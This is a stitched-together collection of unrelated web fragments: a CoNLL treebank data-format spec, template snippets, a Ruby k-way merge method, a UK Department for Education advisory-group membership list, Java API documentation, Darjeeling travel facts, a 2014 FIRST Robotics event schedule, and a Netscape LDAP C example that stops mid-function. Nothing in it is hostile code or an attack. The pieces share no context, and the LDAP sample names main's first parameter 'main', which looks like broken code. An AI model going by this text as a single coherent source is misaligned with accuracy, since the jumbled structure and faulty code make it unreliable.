Data Format
Data adheres to the following rules:
- Data files contain sentences separated by a blank line.
- A sentence consists of one or tokens, each one starting on a new line.
- A token consists of ten fields described in the table below. Fields are separated by a single tab character. Space/blank characters are not allowed in within fields
- All data files will contains these ten fields, although only the ID, FORM, CPOSTAG, POSTAG, HEAD and DEPREL columns are guaranteed to contain non-dummy (i.e. non-underscore) values for all languages.
-
Data files are UTF-8 encoded (Unicode). If you think this will be a problem, have a look here.
|
Field number: |
Field name: |
Description: |
|
1 |
ID |
Token counter, starting at 1 for each new sentence. |
|
2 |
FORM |
Word form or punctuation symbol. |
|
3 |
LEMMA |
Lemma or stem (depending on particular data set) of word form, or an underscore if not available. |
|
4 |
CPOSTAG |
Coarse-grained part-of-speech tag, where tagset depends on the language. |
|
5 |
POSTAG |
Fine-grained part-of-speech tag, where the tagset depends on the language, or identical to the coarse-grained part-of-speech tag if not available. |
|
6 |
FEATS |
Unordered set of syntactic and/or morphological features (depending on the particular language), separated by a vertical bar (|), or an underscore if not available. |
|
7 |
HEAD |
Head of the current token, which is either a value of ID or zero ('0'). Note that depending on the original treebank annotation, there may be multiple tokens with an ID of zero. |
|
8 |
DEPREL |
Dependency relation to the HEAD. The set of dependency relations depends on the particular language. Note that depending on the original treebank annotation, the dependency relation may be meaningful or simply 'ROOT'. |
|
9 |
PHEAD |
Projective head of current token, which is either a value of ID or zero ('0'), or an underscore if not available. Note that depending on the original treebank annotation, there may be multiple tokens an with ID of zero. The dependency structure resulting from the PHEAD column is guaranteed to be projective (but is not available for all languages), whereas the structures resulting from the HEAD column will be non-projective for some sentences of some languages (but is always available). |
|
10 |
PDEPREL |
Dependency relation to the PHEAD, or an underscore if not available. The set of dependency relations depends on the particular language. Note that depending on the original treebank annotation, the dependency relation may be meaningful or simply 'ROOT'. |


{% extends 'htc-layout.html' %} {% block pageTitle %} Cost - Tell us about your product or service {% endblock %} {% block beforeContent %} {{ breadcrumb({ items: [ { href: "/htc", text: "Home" } ], href: "/htc/tell-us/start", text: "Tell us about your product or service" }) }} {% endblock %} {% block content %}


Graphic Designer // Full Stack Developer
This is a blog website documenting my journey through job hunting while picking up valuable skills along the way.
Photoshop and Illustrator
Codepen
Github
Copyright ©


Supports the linear method for k-way merge.
Initialize instance variables.
Args: enums array of enumerators (external iterators); used for minptrix.
# File mmerge.rb, line 34 def initialize(enums) @cache = Array.new enums.size @enum_empty = Array.new(enums.size, false) i = 0 enums.each do |enum| @cache[i] = enum.next i = i + 1 end @cache_min_index = nil @cache_min = nil end
Finds minimum value for any of an array of enumerators,
Args: enums array of enumerators of integers (side-effect: their next methods are called) Returns: bool minimum value valid, minimum value.
Execution time is linear in the total number of elements the enumerators return. In finding the minimum value, next is called. minptrix is designed to be called repeatedly, with the same array of enumerators, by method multimerge, until calling next has raised a StopIteration exception for all the enumerators.
# File mmerge.rb, line 55 def minptrix(enums) # Since enumerators don't have a peek function, the instance variable # cache contains values obtained by calling next on each enumerator, or # None if a StopIteration exception was raised by the call. Instance # variable cache_min_index is the index of the enumerator from which the # last (candidate) minimum value for this call of minptrix was obtained, # and cache_min is that value. did_examine = false # looked at a value (so that minval is valid) minval = MMerge::MAXINT i = 0 enums.each do |enum| curval = @cache[i] unless curval if @enum_empty[i] i = i + 1 next else begin @cache[i] = enum.next rescue StopIteration @enum_empty[i] = true i = i + 1 next end end curval = @cache[i] end did_examine = true if minval > curval @cache[i] = nil # consume the value if @cache_min_index # unconsume if possible @cache[@cache_min_index] = @cache_min end @cache_min_index = i # store for possible unconsumption @cache_min = curval minval = curval end i = i + 1 end @cache_min_index = nil # keep consumed the minval for this call return did_examine, minval end


The Teacher Reference Group acts as a confidential sounding board, advising on the potential impact of policies on the school system, including any barriers to implementation.
Terms of reference
The Teacher Reference Group supports policy development and implementation across the Department for Education (
DfE
) by contributing views and providing feedback to ministers and officials.
The group is not representative and has no power of veto over policy decisions.
Meeting dates
The group meets 5 times a year in September, November, January, March and May. The group has secretariat support based in the department’s Teachers and Teaching Family policy team. Agendas are set by the secretariat in collaboration with group members.
Membership
Members of the Teacher Reference Group are classroom practitioners covering various regions of the country and types of school. There are 21 members:
-
Karen Angus from St Ivo School, St. Ives, Cambridgeshire
-
Emma Baker from John Masefield High School, Ledbury
-
Siobhan Brady from Lighthouse Free Autistic School, Leeds
-
Katie Broadribb from Wildern School, Southampton
-
Elizabeth Buchanan from Chestnut Grove Academy, Wandsworth
-
Amy Coombe from Clapton Girls’ Academy, London
-
John Coxhead from Longton Primary School, Preston
-
Rachel Foley from Thomas Knyvett College, Ashford
-
Peter Forster from Beal High School, Redbridge
-
Anne Goree from Oasis Academy Bank Leaze, Bristol
-
Katrina Halford from St Andrew’s CE VC Primary, Sherborne
-
Lisa Killelay from World’s End Infant and Nursery School, Birmingham
-
Edward Leighton from St Joseph’s College, Stoke-on-Trent
-
Laura McLean from Manchester Enterprise Academy, Manchester
-
Hilary Oppong from Kelvin Grove Primary School, Lewisham
-
Katherine Porter from St Mary’s Catholic High School, Wigan
-
Luke Read from Alexandra Park Primary School, Stockport
-
Emma Saadatzadeh from The Connected Hub, Brighton and Hove
-
Chris Smith from Prince Henry’s Grammar School, Leeds
-
Caroline Spalding from Tupton High School, Chesterfield
-
Matthew Taylor from King Alfred’s Academy, Wantage


Learn about interesting places near you, share your favorite hidden gems and start exploring new things today!
{{ location.description | lenLimit100}}
{{location.voteCount}}


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java.lang.Object PageVariableTagSupport atg.epub.pws.taglib.GetAssignableUsersTag
Tag for returning a set of users that can be assigned to a workflow task. This tag returns a collection of User objects.
User
,
Serialized Form| Nested Class Summary | |
static class |
GetAssignableUsersTag.TEI
TagExtraInfo class to handle var/id processing. |
class |
GetAssignableUsersTag.UserFirstLastComparator
|
| Field Summary | |
static java.lang.String |
CLASS_VERSION
Class version string |
| Constructor Summary | |
GetAssignableUsersTag()
Empty Constructor |
| Method Summary | |
int |
doStartTag()
This tag returns the set of User objects which contains the users which can be assigned to the task of the given workflow descriptor. |
boolean |
getIncludeAccUsers()
|
TaskDescriptor |
getTaskDescriptor()
|
void |
release()
|
void |
setIncludeAccUsers(boolean pIncludeAccUsers)
Sets the includeAccUsers flag to indicate whether or not to include the ACC users in the assignable users |
void |
setTaskDescriptor(TaskDescriptor pTaskDescriptor)
Sets the task descriptor of the task which the user list will be created. |
| Methods inherited from class java.lang.Object |
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Field Detail |
public static java.lang.String CLASS_VERSION
| Constructor Detail |
public GetAssignableUsersTag()
| Method Detail |
public void setTaskDescriptor(TaskDescriptor pTaskDescriptor)
pTaskDescriptor
- the task descriptor of the task which the user list will be createdpublic TaskDescriptor getTaskDescriptor()
public void setIncludeAccUsers(boolean pIncludeAccUsers)
pIncludeAccUsers
- flag whether or not to include ACC userspublic boolean getIncludeAccUsers()
public int doStartTag() throws javax.servlet.jsp.JspException
javax.servlet.jsp.JspException
User
public void release()
Tag.release()
|
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@helper.CSRF.formField
Log in to your account:
Email
Password
Log In
Don't have an account?
@helper.CSRF.formField
Sign Up


Darjeeling
Facts about Darjeeling :
- Darjeeling is a town in northeast India that is famous for tea, trains and scenic beauty.
- Darjeeling tea is thin, light colored, aromatic and soothing to drink.
- The leaves are grown in the hills around the town.
- Access is by a three-hour car ride from the nearest airport or a seven-hour journey on the Darjeeling Himalayan Railroad, a narrow gauge railway known as the toy train.


|
|
2014 Season FIRST Robotics Competition aka AERIAL ASSIST
Events in All Areas
(99 found, 1 - 99 displayed)
|
Print | Close |
|
|
| Event Subtype |
Event Name |
Event Venue |
Location |
Date(s) |
|
Championship
|
FIRST Championship
|
Edward Jones Dome |
St. Louis, MO USA |
24-Apr - 26-Apr-2014 |
|
Regional
|
Central Illinois Regional
|
Avantis Dome |
Pekin, IL USA |
27-Feb - 01-Mar-2014 |
|
Regional
|
Palmetto Regional
|
Myrtle Beach Convention Center |
Myrtle Beach, SC USA |
27-Feb - 01-Mar-2014 |
|
Regional
|
Alamo Regional sponsored by Rackspace Hosting
|
Henry B. Gonzalez Convention Center |
San Antonio, TX USA |
27-Feb - 01-Mar-2014 |
|
Regional
|
Greater Toronto West Regional
|
Crescent School |
Toronto, ON Canada |
28-Feb - 02-Mar-2014 |
|
Regional
|
Inland Empire Regional
|
Grand Terrace High School |
Grand Terrace, CA USA |
28-Feb - 02-Mar-2014 |
|
Regional
|
Israel Regional
|
Nokia Arena |
Tel Aviv, TA Israel |
03-Mar - 05-Mar-2014 |
|
Regional
|
Greater Toronto East Regional
|
University of Ontario Institute of Technology |
Oshawa, ON Canada |
06-Mar - 08-Mar-2014 |
|
Regional
|
Arkansas Regional
|
Harding University |
Searcy, AR USA |
06-Mar - 08-Mar-2014 |
|
Regional
|
San Diego Regional
|
Valley View Casino Center |
San Diego, CA USA |
06-Mar - 08-Mar-2014 |
|
Regional
|
Crossroads Regional
|
Hulbert Arena |
Terre Haute, IN USA |
06-Mar - 08-Mar-2014 |
|
Regional
|
Northern Lights Regional
|
DECC Arena/Edmund Fitzgerald Exhibit Hall |
Duluth, MN USA |
06-Mar - 08-Mar-2014 |
|
Regional
|
Lake Superior Regional
|
DECC Arena/South Pioneer Hall |
Duluth, MN USA |
06-Mar - 08-Mar-2014 |
|
Regional
|
Hub City Regional
|
Lubbock Memorial Civic Center |
Lubbock, TX USA |
06-Mar - 08-Mar-2014 |
|
Regional
|
Central Valley Regional
|
Madera South High School |
Madera, CA USA |
07-Mar - 09-Mar-2014 |
|
Regional
|
Mexico City Regional
|
Arena Ciudad de Mexico |
Mexico City, DIF Mexico |
13-Mar - 15-Mar-2014 |
|
Regional
|
Sacramento Regional
|
UC Davis ARC Pavilion |
Davis, CA USA |
13-Mar - 15-Mar-2014 |
|
Regional
|
Orlando Regional
|
University of Central Florida Arena |
Orlando, FL USA |
13-Mar - 15-Mar-2014 |
|
Regional
|
Greater Kansas City Regional
|
Metropolitan Community College |
Kansas City, MO USA |
13-Mar - 15-Mar-2014 |
|
Regional
|
St. Louis Regional
|
Chaifetz Arena |
St. Louis, MO USA |
13-Mar - 15-Mar-2014 |
|
Regional
|
North Carolina Regional
|
Dorton Arena |
Raleigh, NC USA |
13-Mar - 15-Mar-2014 |
|
Regional
|
New York Tech Valley Regional
|
Rensselaer Polytechnic Institute |
Troy, NY USA |
13-Mar - 15-Mar-2014 |
|
Regional
|
Dallas Regional
|
Irving Convention Center |
Irving, TX USA |
13-Mar - 15-Mar-2014 |
|
Regional
|
Utah Regional
|
Maverik Center |
West Valley City, UT USA |
13-Mar - 15-Mar-2014 |
|
Regional
|
Waterloo Regional
|
University of Waterloo |
Waterloo, ON Canada |
20-Mar - 22-Mar-2014 |
|
Regional
|
Festival de Robotique FRC a Montreal Regional
|
Stade Uniprix |
Montreal, QC Canada |
20-Mar - 22-Mar-2014 |
|
Regional
|
Arizona Regional
|
Hamilton High School |
Chandler, AZ USA |
20-Mar - 22-Mar-2014 |
|
Regional
|
Los Angeles Regional sponsored by The Roddenberry Foundation
|
Long Beach Arena |
Long Beach, CA USA |
20-Mar - 22-Mar-2014 |
|
Regional
|
Boilermaker Regional
|
Purdue Armory |
West Lafayette, IN USA |
20-Mar - 22-Mar-2014 |
|
Regional
|
Buckeye Regional
|
Wolstein Center |
Cleveland, OH USA |
20-Mar - 22-Mar-2014 |
|
Regional
|
Virginia Regional
|
VCU Siegel Center |
Richmond, VA USA |
20-Mar - 22-Mar-2014 |
|
Regional
|
Wisconsin Regional
|
US Cellular Arena |
Milwaukee, WI USA |
20-Mar - 22-Mar-2014 |
|
Regional
|
North Bay Regional
|
Nipissing University |
North Bay, ON Canada |
27-Mar - 29-Mar-2014 |
|
Regional
|
Peachtree Regional
|
Georgia World Congress Center |
Atlanta, GA USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Hawaii Regional
|
University of Hawaii at Manoa |
Honolulu, HI USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Minnesota North Star Regional
|
Univ of MN - Mariucci Arena |
Minneapolis, MN USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Minnesota 10000 Lakes Regional
|
Williams Arena/The Sports Pavilion Univ of MN |
Minneapolis, MN USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
SBPLI Long Island Regional
|
Hofstra University |
Hempstead, NY USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Finger Lakes Regional
|
Gordon Field House |
Rochester, NY USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Queen City Regional
|
Cintas Arena |
Cincinnati, OH USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Oklahoma Regional
|
Cox Convention Center |
Oklahoma City, OK USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Greater Pittsburgh Regional
|
CA University of PA Convocation Center |
California, PA USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Smoky Mountains Regional
|
Knoxville Convention Center |
Knoxville, TN USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Greater DC Regional
|
George Mason University |
Fairfax, VA USA |
27-Mar - 29-Mar-2014 |
|
Regional
|
Western Canada Regional
|
The Olympic Oval |
Calgary, AB Canada |
03-Apr - 05-Apr-2014 |
|
Regional
|
Windsor Essex Great Lakes Regional
|
University of Windsor |
Windsor, ON Canada |
03-Apr - 05-Apr-2014 |
|
Regional
|
Silicon Valley Regional
|
San Jose State University |
San Jose, CA USA |
03-Apr - 05-Apr-2014 |
|
Regional
|
Colorado Regional
|
Daniel L. Ritchie Center |
Denver, CO USA |
03-Apr - 05-Apr-2014 |
|
Regional
|
South Florida Regional
|
Great Fort Lauderdale & Broward County Convention Center |
Fort Lauderdale, FL USA |
03-Apr - 05-Apr-2014 |
|
Regional
|
Midwest Regional
|
UIC Pavilion |
Chicago, IL USA |
03-Apr - 05-Apr-2014 |
|
Regional
|
Bayou Regional
|
Pontchartrain Center |
Kenner, LA USA |
03-Apr - 05-Apr-2014 |
|
Regional
|
Chesapeake Regional
|
University of Maryland |
College Park, MD USA |
03-Apr - 05-Apr-2014 |
|
Regional
|
Las Vegas Regional
|
Cashman Center |
Las Vegas, NV USA |
03-Apr - 05-Apr-2014 |
|
Regional
|
New York City Regional
|
Jacob K. Javits Convention Center |
New York, NY USA |
04-Apr - 06-Apr-2014 |
|
Regional
|
Lone Star Regional
|
George R. Brown Convention Center |
Houston, TX USA |
04-Apr - 06-Apr-2014 |
FIRST in Michigan
District Championship
|
Michigan FRC State Championship
|
Eastern Michigan University |
Ypsilanti, MI USA |
10-Apr - 12-Apr-2014 |
Mid-Atlantic Robotics
District Championship
|
Mid-Atlantic Robotics FRC Region Championship
|
Stabler Arena |
Bethlehem, PA USA |
10-Apr - 12-Apr-2014 |
New England
District Championship
|
New England FRC Region Championship
|
Boston University |
Boston, MA USA |
10-Apr - 12-Apr-2014 |
Pacific Northwest
District Championship
|
Autodesk PNW FRC Championship
|
Veterans Memorial Coliseum |
Portland, OR USA |
10-Apr - 12-Apr-2014 |
FIRST in Michigan
District Event
|
Center Line FIRST Robotics District Competition
|
Center Line High School |
Center Line, MI USA |
28-Feb - 01-Mar-2014 |
FIRST in Michigan
District Event
|
Southfield FIRST Robotics District Competition
|
Southfield High School |
Southfield, MI USA |
28-Feb - 01-Mar-2014 |
FIRST in Michigan
District Event
|
Kettering University FIRST Robotics District Competition
|
Kettering University |
Flint, MI USA |
07-Mar - 08-Mar-2014 |
FIRST in Michigan
District Event
|
Gull Lake FIRST Robotics District Competition
|
Gull Lake High School |
Richland, MI USA |
07-Mar - 08-Mar-2014 |
FIRST in Michigan
District Event
|
Escanaba FIRST Robotics District Competition
|
Escanaba High School |
Escanaba, MI USA |
14-Mar - 15-Mar-2014 |
FIRST in Michigan
District Event
|
Howell FIRST Robotics District Competition
|
Parker Middle School |
Howell, MI USA |
14-Mar - 15-Mar-2014 |
FIRST in Michigan
District Event
|
West Michigan FIRST Robotics District Competition
|
Grand Valley State University |
Allendale, MI USA |
21-Mar - 22-Mar-2014 |
FIRST in Michigan
District Event
|
Great Lakes Bay Region FIRST Robotics District Competition
|
H.H. Dow High School |
Midland, MI USA |
21-Mar - 22-Mar-2014 |
FIRST in Michigan
District Event
|
Traverse City FIRST Robotics District Competition
|
Traverse City Central High School |
Traverse City, MI USA |
21-Mar - 22-Mar-2014 |
FIRST in Michigan
District Event
|
Livonia FIRST Robotics District Competition
|
Churchill High School |
Livonia, MI USA |
28-Mar - 29-Mar-2014 |
FIRST in Michigan
District Event
|
St. Joseph FIRST Robotics District Competition
|
St. Joseph High School |
St. Joseph, MI USA |
28-Mar - 29-Mar-2014 |
FIRST in Michigan
District Event
|
Waterford FIRST Robotics District Competition
|
Waterford Mott High School |
Waterford, MI USA |
28-Mar - 29-Mar-2014 |
FIRST in Michigan
District Event
|
Lansing FIRST Robotics District Competition
|
Mason High School |
Mason, MI USA |
04-Apr - 05-Apr-2014 |
FIRST in Michigan
District Event
|
Bedford FIRST Robotics District Competition
|
Bedford High School |
Temperance, MI USA |
04-Apr - 05-Apr-2014 |
FIRST in Michigan
District Event
|
Troy FIRST Robotics District Competition
|
Troy Athens High School |
Troy, MI USA |
04-Apr - 05-Apr-2014 |
Mid-Atlantic Robotics
District Event
|
MAR FIRST Robotics Mt. Olive District Competition
|
Mt. Olive High School |
Flanders, NJ USA |
01-Mar - 02-Mar-2014 |
Mid-Atlantic Robotics
District Event
|
MAR FIRST Robotics Hatboro-Horsham District Competition
|
Hatboro-Horsham High School |
Hatboro-Horsham, PA USA |
01-Mar - 02-Mar-2014 |
Mid-Atlantic Robotics
District Event
|
MAR FIRST Robotics Springside Chestnut Hill District Competition
|
Springside-Chestnut Hill Academy |
Philadelphia, PA USA |
14-Mar - 15-Mar-2014 |
Mid-Atlantic Robotics
District Event
|
MAR FIRST Robotics Clifton District Competition
|
Clifton High School |
Clifton, NJ USA |
15-Mar - 16-Mar-2014 |
Mid-Atlantic Robotics
District Event
|
MAR FIRST Robotics Lenape-Seneca District Competition
|
Seneca High School |
Tabernacle, NJ USA |
22-Mar - 23-Mar-2014 |
Mid-Atlantic Robotics
District Event
|
MAR FIRST Robotics Bridgewater-Raritan District Competition
|
Bridgewater-Raritan High School |
Bridgewater, NJ USA |
29-Mar - 30-Mar-2014 |
New England
District Event
|
Granite State District Event
|
Nashua South High School |
Nashua, NH USA |
28-Feb - 01-Mar-2014 |
New England
District Event
|
UNH District Event
|
UNH-Durham |
Durham, NH USA |
06-Mar - 07-Mar-2014 |
New England
District Event
|
Groton District Event
|
Fitch High School |
Groton, CT USA |
08-Mar - 09-Mar-2014 |
New England
District Event
|
WPI District Event
|
Worcester Polytechnic Institute (WPI) |
Worcester, MA USA |
13-Mar - 14-Mar-2014 |
New England
District Event
|
Rhode Island District Event
|
Bryant University |
Smithfield, RI USA |
21-Mar - 22-Mar-2014 |
New England
District Event
|
Southington District Event
|
Southington High School |
Southington, CT USA |
22-Mar - 23-Mar-2014 |
New England
District Event
|
Northeastern University District Event
|
Northeastern University |
Boston, MA USA |
28-Mar - 29-Mar-2014 |
New England
District Event
|
Hartford District Event
|
Hartford Public High School |
Hartford, CT USA |
29-Mar - 30-Mar-2014 |
New England
District Event
|
Pine Tree District Event
|
Androscoggin Bank Colisee |
Lewiston, ME USA |
04-Apr - 05-Apr-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Auburn Mountainview District Event
|
Auburn Mountainview High School |
Auburn, WA USA |
28-Feb - 01-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Oregon City District Event
|
Old Oregon City High School |
Oregon City, OR USA |
07-Mar - 08-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Glacier Peak District Event
|
Glacier Peak High School |
Snohomish, WA USA |
07-Mar - 08-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Eastern Washington University District Event
|
Eastern Washington University |
Cheney, WA USA |
14-Mar - 15-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Mt. Vernon District Event
|
Mount Vernon High School |
Mount Vernon, WA USA |
14-Mar - 15-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Wilsonville District Event
|
Wilsonville High School |
Wilsonville, OR USA |
21-Mar - 22-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Shorewood District Event
|
Shorewood High School |
Shoreline, WA USA |
21-Mar - 22-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Auburn District Event
|
Auburn High School |
Auburn, WA USA |
28-Mar - 29-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Central Washington University District Event
|
Central Washington University |
Ellensburg, WA USA |
28-Mar - 29-Mar-2014 |
Pacific Northwest
District Event
|
PNW FIRST Robotics Oregon State University District Event
|
Oregon State University |
Corvallis, OR USA |
04-Apr - 05-Apr-2014 |
| Note: |
All FIRST Robotics Competition regionals and tournaments are free and open to the public.
Additional community events are listed as a service to the FIRST community and do not represent an endorsement by FIRST.
Local Kickoffs and Events Run by Teams are conducted, managed and overseen by the identified organizer, not by FIRST. |
|


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| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object com.google.gdata.data.ExtensionProfile
public class ExtensionProfile
Specifies a complete extension profile for an extended GData schema. A profile is a set of allowed extensions for each type together with additional properties.
For example, Calendar might allow <gd:who>
within <atom:feed>
, and <gd:when>
, <gd:who>
, and <gd:where>
within <atom:entry>
.
| Nested Class Summary | |
|---|---|
class |
ExtensionProfile.ExtensionPointHandler
Reads the ExtensionPoint XML format |
class |
ExtensionProfile.Handler
Reads the ExtensionProfile XML format. |
| Constructor Summary | |
|---|---|
ExtensionProfile()
|
| Method Summary | |
|---|---|
void |
addDeclarations(Kind.Adaptor adaptor)
Adds the extension declarations associated with an Kind.Adaptor
instance, if the declaring class has not already added to this
profile. |
boolean |
allowsArbitraryXml()
Returns whether foreign XML elements will be preserved within any ExtensionPoint . |
void |
declare(java.lang.Class<? extends ExtensionPoint> extendedType,
java.lang.Class<? extends Extension> extClass)
Specifies that type extendedType can contain an extension described
by extClass , as determined by
ExtensionDescription.getDefaultDescription(Class) . |
void |
declare(java.lang.Class<? extends ExtensionPoint> extendedType,
ExtensionDescription extDescription)
Specifies that type extendedType can contain an extension
described by extDescription . |
void |
declareAdditionalNamespace(com.google.gdata.util.common.xml.XmlNamespace ns)
Specifies additional top-level namespace declarations. |
void |
declareArbitraryXmlExtension(java.lang.Class<? extends ExtensionPoint> extendedType)
Specifies that type extendedType can contain arbitrary XML. |
void |
declareEntryExtension(java.lang.Class<? extends Extension> extClass)
Deprecated. Calls to this API should be replaced with calls to declare(Class,ExtensionDescription) where
the first argument is a specific BaseEntry subtype. The
BaseEntry class should only be used for mix-in types that
might appear in multiple entry types. Its use for all entry declarations
can result in conflicts when mutiple feed types are declared into a
single extension profile, a common practice in client library service
initialization for services that return multiple entry types. |
void |
declareEntryExtension(ExtensionDescription extDesc)
Deprecated. Calls to this API should be replaced with calls to declare(Class,ExtensionDescription) where
the first argument is a specific BaseEntry subtype. The
BaseEntry class should only be used for mix-in types that
might appear in multiple entry types. Its use for all entry declarations
can result in conflicts when mutiple feed types are declared into a
single extension profile, a common practice in client library service
initialization for services that return multiple entry types. |
void |
declareEntryLinkProfile(ExtensionProfile profile)
Specifies the type of entries nested within <gd:entryLink> . |
void |
declareFeedExtension(java.lang.Class<? extends Extension> extClass)
Deprecated. Calls to this API should be replaced with calls to declare(Class,ExtensionDescription) where
the first argument is a specific BaseFeed subtype. The
BaseFeed class should only be used for mix-in types that
might appear in multiple feed types. Its use for all feed declarations
can result in conflicts when mutiple feed types are declared into a
single extension profile, a common practice in client library service
initialization for services that return multiple feed types. |
void |
declareFeedExtension(ExtensionDescription extDesc)
Deprecated. Calls to this API should be replaced with calls to declare(Class,ExtensionDescription) where
the first argument is a specific BaseFeed subtype. The
BaseFeed class should only be used for mix-in types that
might appear in multiple feed types. Its use for all feed declarations
can result in conflicts when mutiple feed types are declared into a
single extension profile, a common practice in client library service
initialization for services that return multiple feed types. |
void |
declareFeedLinkProfile(ExtensionProfile profile)
Specifies the type of feeds nested within <gd:feedLink> . |
void |
generateConfig(com.google.gdata.util.common.xml.XmlWriter w,
ExtensionProfile extProfile)
Generates XML in the external config format. |
ExtensionProfile |
getEntryLinkProfile()
Retrieves the type of entries nested within <gd:entryLink> . |
ExtensionProfile |
getFeedLinkProfile()
Retrieves the type of feeds nested within <gd:feedLink> . |
ExtensionManifest |
getManifest(java.lang.Class<?> extendedType)
Retrieves an extension manifest for a specific class (or one of its superclasses) or null if not specified. |
java.util.Collection<com.google.gdata.util.common.xml.XmlNamespace> |
getNamespaceDecls()
Retrieves a collection of all namespaces used by this profile. |
boolean |
isAutoExtending()
|
boolean |
isDeclared(java.lang.Class<?> extendedType)
Returns whether the given extended type has already been declared. |
void |
parseConfig(ExtensionProfile configProfile,
java.lang.ClassLoader classLoader,
java.io.InputStream stream)
Parses XML in the ExtensionProfile format. |
void |
setArbitraryXml(boolean v)
Configures the extension profile to specify whether any foreign XML elements found when parsing within an ExtensionPoint should
be preserved. |
void |
setAutoExtending(boolean v)
|
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public ExtensionProfile()
| Method Detail |
|---|
public void addDeclarations(Kind.Adaptor adaptor)
Kind.Adaptor
instance, if the declaring class has not already added to this
profile. The method is optimized to reduce the overhead of declaring
the same adaptor type multiple times within the same profile.
public void declare(java.lang.Class<? extends ExtensionPoint> extendedType, ExtensionDescription extDescription)
extendedType
can contain an extension
described by extDescription
.
public void declare(java.lang.Class<? extends ExtensionPoint> extendedType, java.lang.Class<? extends Extension> extClass)
extendedType
can contain an extension described
by extClass
, as determined by
ExtensionDescription.getDefaultDescription(Class)
.
@Deprecated public void declareFeedExtension(ExtensionDescription extDesc)
declare(Class,ExtensionDescription)
where
the first argument is a specific BaseFeed
subtype. The
BaseFeed
class should only be used for mix-in types that
might appear in multiple feed types. Its use for all feed declarations
can result in conflicts when mutiple feed types are declared into a
single extension profile, a common practice in client library service
initialization for services that return multiple feed types.
extDesc
defines a feed extension.
@Deprecated public void declareFeedExtension(java.lang.Class<? extends Extension> extClass)
declare(Class,ExtensionDescription)
where
the first argument is a specific BaseFeed
subtype. The
BaseFeed
class should only be used for mix-in types that
might appear in multiple feed types. Its use for all feed declarations
can result in conflicts when mutiple feed types are declared into a
single extension profile, a common practice in client library service
initialization for services that return multiple feed types.
extClass
defines a feed extension.
@Deprecated public void declareEntryExtension(ExtensionDescription extDesc)
declare(Class,ExtensionDescription)
where
the first argument is a specific BaseEntry
subtype. The
BaseEntry
class should only be used for mix-in types that
might appear in multiple entry types. Its use for all entry declarations
can result in conflicts when mutiple feed types are declared into a
single extension profile, a common practice in client library service
initialization for services that return multiple entry types.
extDesc
defines an entry extension.
@Deprecated public void declareEntryExtension(java.lang.Class<? extends Extension> extClass)
declare(Class,ExtensionDescription)
where
the first argument is a specific BaseEntry
subtype. The
BaseEntry
class should only be used for mix-in types that
might appear in multiple entry types. Its use for all entry declarations
can result in conflicts when mutiple feed types are declared into a
single extension profile, a common practice in client library service
initialization for services that return multiple entry types.
extClass
defines an entry extension.
public void declareArbitraryXmlExtension(java.lang.Class<? extends ExtensionPoint> extendedType)
extendedType
can contain arbitrary XML.
public void declareAdditionalNamespace(com.google.gdata.util.common.xml.XmlNamespace ns)
public void declareFeedLinkProfile(ExtensionProfile profile)
<gd:feedLink>
.
public ExtensionProfile getFeedLinkProfile()
<gd:feedLink>
.
public void declareEntryLinkProfile(ExtensionProfile profile)
<gd:entryLink>
.
public ExtensionProfile getEntryLinkProfile()
<gd:entryLink>
.
public ExtensionManifest getManifest(java.lang.Class<?> extendedType)
null
if not specified.
public boolean isDeclared(java.lang.Class<?> extendedType)
getManifest(Class)
, it does not check the super
classes.
public java.util.Collection<com.google.gdata.util.common.xml.XmlNamespace> getNamespaceDecls()
public void setAutoExtending(boolean v)
public boolean isAutoExtending()
public void setArbitraryXml(boolean v)
ExtensionPoint
should
be preserved. If false
, the presence of foreign XML will result
in parsing errors. Arbitrary XML support is enabled by default in a
newly created profile.
v
- true
to enable foreign XML preservation, false
otherwise.
#see ExtensionPoint.getXmlBlob()public boolean allowsArbitraryXml()
ExtensionPoint
.
true
if foreign XML elements are preserved, false
otherwise.public void parseConfig(ExtensionProfile configProfile, java.lang.ClassLoader classLoader, java.io.InputStream stream) throws java.io.IOException, ParseException
configProfile
- Extension profile description configuration extensions.classLoader
- ClassLoader to load extension classesstream
- InputStream from which to read the description
java.io.IOException
ParseException
public void generateConfig(com.google.gdata.util.common.xml.XmlWriter w, ExtensionProfile extProfile) throws java.io.IOException
w
- Output writer.extProfile
- Extension profile.
java.io.IOException
|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


B.4 Compare An Attribute
Appendix B:
B.4.1 Compare Using LDAP C API
/*
* Copyright (c) 1996. Netscape Communications Corporation. All
* rights reserved.
*
* Use ldap_compare() to compare values agains values contained in entry
* "cn=Barbara Jensen, ou=Product Development, o=Ace Industry, c=US".
* We test to see if (1) the value "person" is one of the values in the
* objectclass attribute (it is), and if (2) the value "xyzzy" is in the
* objectlass attribute (it isn't, or at least, it shouldn't be).
*
*/
#include "examples.h"
int
main( int main, char **argv )
{
LDAP *ld;
int rc;
/* get a handle to an LDAP connection */
if ( (ld = ldap_init( MY_HOST, MY_PORT )) == NULL ) {
perror( "ldap_init" );
return( 1 );
}
/* authenticate to the directory as nobody */
